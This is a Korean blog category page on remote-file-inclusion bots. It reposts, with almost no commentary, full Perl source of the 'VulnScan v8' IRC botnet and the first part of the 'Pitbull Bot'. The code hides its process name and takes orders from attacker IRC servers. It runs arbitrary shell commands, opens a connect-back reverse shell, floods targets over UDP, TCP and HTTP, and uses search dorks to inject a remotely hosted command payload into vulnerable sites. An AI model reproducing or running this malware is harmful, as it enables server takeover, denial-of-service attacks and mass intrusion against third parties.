'webhxxx/RFI bot'에 해당되는 글 11건

  1. 2010.11.09 FeeLCoMz RFI Scanner Bot v5.4
  2. 2010.04.25 OWASP_Stealing_the_Airlines_Online_Data
  3. 2010.04.25 RFI BotNet관련문서
  4. 2010.04.18 vulscan v8
  5. 2010.04.18 Pitbull Bot
  6. 2010.04.18 FeeLCoMz RFI Scanner Bot v5.3
  7. 2010.04.18 fx29sh 3.3.03.09
  8. 2010.04.18 RFI Bot 재현
  9. 2010.03.06 Fx29spreadz
  10. 2010.03.04 irc서버올리기
  11. 2010.02.23 FeeLCoMz RFI Bot
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6) (thx to ajegile)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)
## + Added links filter to exclude exploiting bad links (v4.9)
## + Fixed private message scanning (v4.9.2) (thx to BLood_roSE)
## + Added spread configuration (v5.0)
## + Updated search engines (v5.1)
## + Added HTTP Error handler for search engines (v5.2)
## + Added more search engines (v5.3) (thx to kaMtiEz, arianom, tukulesto, & Mask_Magician)
## + Added md5 hash & crack tool (v5.4)

'webhxxx > RFI bot' 카테고리의 다른 글

OWASP_Stealing_the_Airlines_Online_Data  (0) 2010.04.25
RFI BotNet관련문서  (0) 2010.04.25
vulscan v8  (0) 2010.04.18
Pitbull Bot  (0) 2010.04.18
FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
Posted by applicationlayer
:
재미있는 RFI가 있어서 담아온다

'webhxxx > RFI bot' 카테고리의 다른 글

FeeLCoMz RFI Scanner Bot v5.4  (0) 2010.11.09
RFI BotNet관련문서  (0) 2010.04.25
vulscan v8  (0) 2010.04.18
Pitbull Bot  (0) 2010.04.18
FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
Posted by applicationlayer
:
RFI BotNet에 대해 자세하게 정리된 문서는 없는것같다

'webhxxx > RFI bot' 카테고리의 다른 글

FeeLCoMz RFI Scanner Bot v5.4  (0) 2010.11.09
OWASP_Stealing_the_Airlines_Online_Data  (0) 2010.04.25
vulscan v8  (0) 2010.04.18
Pitbull Bot  (0) 2010.04.18
FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
Posted by applicationlayer
:

vulscan v8

webhxxx/RFI bot 2010. 4. 18. 14:29 |
#!/usr/bin/perl
# VulnScan v8 -Final- By Morgan
# Colors by delet
#
# Note:
# DO NOT REMOVE COPYRIGHTS ...
#
# |_|0|_|
# |_|_|0|
# |0|0|0|
#
# New functions :
#                New l33t colors
#                Fixed Google
#
# Scan command :
# !morgan !eval @gstring='google%20dork';
# !morgan @rfiscan vulnfile.php?vulnvar=
#
# DDoS commands :
# Udp : !morgan @udpflood IP packet-size time
# Tcp : !morgan @tcpflood IP port time
# Http: !morgan @httpflood www.website.com time
#
# Greets to :
#
# All irc.root.net.ve - #Morgan users...
#
#
# Enjoy the bot ....
# /Morgan

use HTTP::Request;
use LWP::UserAgent;

################ V8 CONFIGURATION #############################################################
my $processo = 'ps aux';                   # Fake process name for the bot                #
if (`ps uxw` =~ /ps aux/)                    # (CHANGE IT!!!)                               #
{                                              #                                              #
exit;                                          #                                              #
}                                              #                                              #
###############################################################################################
my $linas_max='8';                             # Avoid Flood                                  #
###############################################################################################
my $sleep='5';                                 # sleep time                                   #
##################### IRC #####################################################################
my @adms=("evil");                           # Administrator Nickname                       #
###############################################################################################
my @canais=("#dark");                        # Channel ..if  password -> ("#channel :pass") #
###############################################################################################
my $nick='evil';                             # Nick prefix of the bot example :             #
                                               # vs[v7] = vs[v7]-718727                       #
###############################################################################################
my $ircname = 'evil';                            # Identd of the bot                            #
###############################################################################################
chop (my $realname = `uname -a`);                 # Full Name                                    #
###############################################################################################
$servidor='dos.mygenc.org' unless $servidor;  # Server IRC of the bot                        #
###############################################################################################
my $porta='8889';                              # Server PORT                                  #
################ CMD ##########################################################################
my @cmdgif='http://rzgr.by.ru/cmd.gif';  # If you change this cmd must be same as:      #
                                                     # http://myspace.si/images/sad.gif       #
###############################################################################################

my $VERSAO = 'v8';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);


our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}
# MORGAN OWNED YOUR BOX
#
# morgan.rx@gmail.com
sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!morgan)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
}
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}

# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com
sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","59","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018","8889");
             my (@aberta, %porta_banner);
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2PortScan15) 15(2IP7:12 ".$1." 15) 15(2Status7: 12Searching for Open Ports15)");
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2PortScan15) 15(2Concluido15) 15(2Open Ports7:12 @aberta 15)");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :15(7@2PortScan15) 15(2Concluido15) 15(2No open ports found15)");
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP Flood15) 15(2Started15) (2IP7:12 ".$1." 2Porta7:12 ".$2." 2Tempo7:12 ".$3." 2segundos15)");
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($3>$cur_time){
             $cur_time = time - $itime;
     &tcpflooder("$1","$2","$3");
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP Flood15) 15(2Finished15) (2IP7:12 ".$1." 2Porta7:12 ".$2." 15)");
           }
   if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Versao15) 12Vulnscan 2v87 ");
}

if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);

if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2ConnectBack15) 15(2Connecting15) (2IP7/2Port7:12 $host:$porta 15)");
}
}
#SCANNER
           if ($funcarg =~ /^rfiscan\s+(\d+)\s+(.*)/) {
         $boturl=$2;
   sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Scan15) (2Started15) (2Searching for7:12 ".$boturl." 2Time7:12 ".$1." 2seconds15)");
     srand;
     my $itime = time;
     my ($cur_time);
     my ($exploited);
         $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
    $cur_time = time - $itime;
    @urls=fetch();
foreach $url (@urls) {
$cur_time = time - $itime;
 #sendraw($IRC_cur_socket, "PRIVMSG #debug :15(7@2Scan15) 15(2Exploiting7:12 ".$url2." 15)");
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url2 ="http://".$path."/".$boturl."@cmdgif?";
print "\n".$url2."\n\n";


# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com

my $req=HTTP::Request->new(GET=>$url2);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);

if ($response->is_success) {
 if( $response->content =~ /By/ && $response->content =~ /chaos/ ){
 sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Vulnerable15) 15(2Vuln7:12 ".$url2." 15)");
}
}
else {
}
 }
}
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Scan15) 15(2Finished15) (2Scan Finished7:12 ".$1." 2seconds15)");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP Flood15) (2Started15) (2Victim7:12 ".$1."7:1280 2Time7:12 ".$2." 2seconds15)");
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($2>$cur_time){
             $cur_time = time - $itime;
     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
     close($socket);
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP Flood15) (2Finished15) 15(2Victim7:12 ".$1."15)");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP Flood15) 15(2Started15) (2Victim7:12 ".$1." 2Size7:12 ".$2." 7KB 2Time7:12 ".$3." 2seconds15)");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP Flood15) 15(2Finished15) 15(2Sent7:12 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 7KB 2in12 ".$dtime." 2seconds15) (2Victim7:12 ".$1."15)");
           }
           exit;
       }
  }
}
# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com
sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}
# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com
sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "15(7@2INFO15) (2No souch file/directory15)");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}
# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com
sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}
# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com
sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;

  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
 }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(10)) * $n);
{
my @dominios = ("removed-them-all");
my @str;

foreach $dom  (@dominios)
{
    push (@str,"@gstring");
}

    my $query="www.google.com.ar/custom?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";
    my @lst=();
#sendraw("privmsg #Morgan :DEBUG only test googling: ".$query."");
    my $page = http_query($query);
    while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/){
    push (@lst,$1);
}
    }
    return (@lst);
}

sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
    };

   return $page;
}
}
# MORGAN OWNED YOUR BOX
# www.morganxpl.com
# morgan.rx@gmail.com

# NOTE: DONT REMOVE COPYRIGHTS

'webhxxx > RFI bot' 카테고리의 다른 글

OWASP_Stealing_the_Airlines_Online_Data  (0) 2010.04.25
RFI BotNet관련문서  (0) 2010.04.25
Pitbull Bot  (0) 2010.04.18
FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
Posted by applicationlayer
:

Pitbull Bot

webhxxx/RFI bot 2010. 4. 18. 14:28 |
#!/usr/bin/perl
# Pitbull Bot
#
# Coded by : The_PitBull
#
# Thanks to :
# Ex0d3us for the Scanner
# r0x00k  for testing and helping
#
# Greets to :
# ASC @ irc.ascnet.biz
#
# Fuck you to :
# W8ting4u
# Morgan
#
#You can use the following commands :
#!bot @portscan <ip>
#!bot @back <ip><port>   
#!bot @udpflood <ip> <packet size> <time>
#!bot @tcpflood <ip> <port> <packet size> <time>
#!bot @httpflood <site> <time>
#!bot @linuxhelp
#!bot @multiscan <vuln> <dork>
#!bot @googlescan <vuln> <dork>
#!bot @system
#!bot @milw0rm
#!bot @join <#channel>   
#!bot @part <#channel>
#!bot @help
#!bot cd tmp for example
#
#
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################

######################
use HTTP::Request;
use LWP::UserAgent;
######################
my $processo = '[httpds]';
######################


######################
#   Configuration    #
#                    #
############################################
my $linas_max='8';
#                                          #
# Maximum Lines for Anti Flood             #
############################################
my $sleep='5';
#                                          #                                     
#Sleep Time                                #
############################################
my @cmdstring='http://www.fuzi.by.ru/list.txt';
#                                          #
#CMD String                                #
############################################
my @adms=("FuZi^vL");
#                                          #
#Admins of the Bot set your nickname here  #
############################################
my @canais=("#fuzi");
#                                          #
#Put your channel here                     #
############################################
my @nickname = ("Priv8Scan");
my $nick = $nickname[rand scalar @nickname];
#                                          #
#Nickname of bot                           #
############################################
my $ircname ='YOurScan';
chop (my $realname = 'YourScan');
#                                          #
#IRC name and Realname                     #
############################################
$servidor='irc.fuzi.biz' unless $servidor;
my $porta='6667';
#                                          #
#IRCServer and port                        #
############################################
my $VERSAO = '11,1 Scan =] ';
#Dont Change                               #
############################################
#End of Configuration#
#                    #
######################
$SIG{'INT'} = 'IGNORE';
######################
$SIG{'HUP'} = 'IGNORE';
######################
$SIG{'TERM'} = 'IGNORE';
######################
$SIG{'CHLD'} = 'IGNORE';
######################
$SIG{'PS'} = 'IGNORE';
######################
use IO::Socket;
######################
use Socket;
######################
use IO::Select;
######################
chdir("/");
######################
########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
########################################################################################################################

#Connect
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Masalah fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
    } else {
    print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
  my $meunick = $_[0];
  my $servidor_con = $_[1];
  my $porta_con = $_[2];
  my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  PeerPort=>$porta_con) or return(1);
  if (defined($IRC_socket)) {
    $IRC_cur_socket = $IRC_socket;
    $IRC_socket->autoflush(1);
    $sel_cliente->add($IRC_socket);
    $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
    $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
    $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
    $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
    nick("$meunick");
    sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
    sleep 1;
  }
}

my $line_temp;
while( 1 ) {
  while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  delete($irc_servers{''}) if (defined($irc_servers{''}));
  my @ready = $sel_cliente->can_read(0);
  next unless(@ready);
  foreach $fh (@ready) {
    $IRC_cur_socket = $fh;
    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
    $nread = sysread($fh, $msg, 4096);
    if ($nread == 0) {
      $sel_cliente->remove($fh);
      $fh->close;
      delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);
    for(my $c=0; $c<= $#lines; $c++) {

      $line = $lines[$c];
      $line=$line_temp.$line if ($line_temp);
      $line_temp='';
      $line =~ s/\r$//;
      unless ($c == $#lines) {
        parse("$line");
        } else {
        if ($#lines == 0) {
          parse("$line");
          } elsif ($lines[$c] =~ /\r$/) {
          parse("$line");
          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
          parse("$line");
                 } else {
                             $line_temp = $line;
        }
      }
    }
  }
}

sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
    if ($args =~ /^\001VERSION\001$/) {
           notice("$pn", "\001VERSION mIRC v6.17 PitBull\001");
    }
    if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
    if ($onde eq "$meunick"){
    shell("$pn", "$args");
  }

  #End of Connect

  ########################################################################################################################
  # ______   __              ___    _   __    ___          __   __                                                       #
  #/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
  # / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
  #/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
  #                                                                                                                      #
  ########################################################################################################################

  ######################
  #      PREFIX        #
  #                    #
  ######################
  # You can change the prefix if you want but the commands will be different
  # The standard prefix is !bot if you change it into !bitch for example
  # every command will be like !bitch @udpflood, !bitch @googlescan.
  # So its recommended not to change this ;)
  ######################

  if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
    my $natrix = $1;
    my $arg = $2;
    if ($arg =~ /^\!(.*)/) {
      ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
      } elsif ($arg =~ /^\@(.*)/) {
      $ondep = $onde;
      $ondep = $pn if $onde eq $meunick;
      bfunc("$ondep","$1");
      } else {
      shell("$onde", "$arg");
    }
  }
}
}
######################
#   End of PREFIX    #
#                    #
######################

elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
  $meunick=$4;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick|".int rand(999999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
  sendraw("JOIN $canal ddosit");
}
}
}

sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
  exit;
} else {

######################
#       Help         #
#                    #
######################

if ($funcarg =~ /^help/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 11,1 PitBull BOT Help");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Select the function you want help for");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@ddos");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@rfiscan");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@backconnect");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@shell");
